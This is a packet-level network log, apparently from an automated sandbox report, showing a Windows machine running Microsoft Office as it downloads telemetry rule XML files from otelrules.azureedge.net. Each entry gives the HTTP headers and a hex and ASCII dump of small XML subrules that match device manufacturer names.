Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:09 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022109Z-178bfbc474brk967hC1NYCfu6000000003k000000000hn82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:09 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:09 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022109Z-178bfbc474bv7whqhC1NYC1fg400000003rg00000000nr7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:09 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:09 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:09 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022109Z-178bfbc474bpscmfhC1NYCfc2c00000002b000000000m3eq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:09 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:11 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022111Z-174c587ffdfcb7qhhC1TEB3x7000000002c000000000avbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:11 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022111Z-178bfbc474bbcwv4hC1NYCypys00000003rg000000006d7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:11 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:11 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022111Z-178bfbc474bv7whqhC1NYC1fg400000003w0000000006r7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:11 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:11 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:11 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 57389be4-e01e-0003-606c-3c0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022111Z-174c587ffdfmrvb9hC1TEBtn38000000028g00000000furt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:11 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022111Z-15b8b599d88cn5thhC1TEBqxkn000000028g000000003baz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:13 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:13 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8157cc8d-f01e-0003-1961-3b4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022113Z-178bfbc474bv7whqhC1NYC1fg400000003xg000000002a6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:13 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022114Z-178bfbc474bw8bwphC1NYC38b400000003mg00000000gfq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:13 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9053a11e-c01e-0046-640f-3d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022114Z-178bfbc474bpscmfhC1NYCfc2c00000002f0000000005x18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:14 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4246a62e-c01e-008e-5315-3d7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022114Z-178bfbc474bv587zhC1NYCny5w00000003t0000000003eru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:14 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" 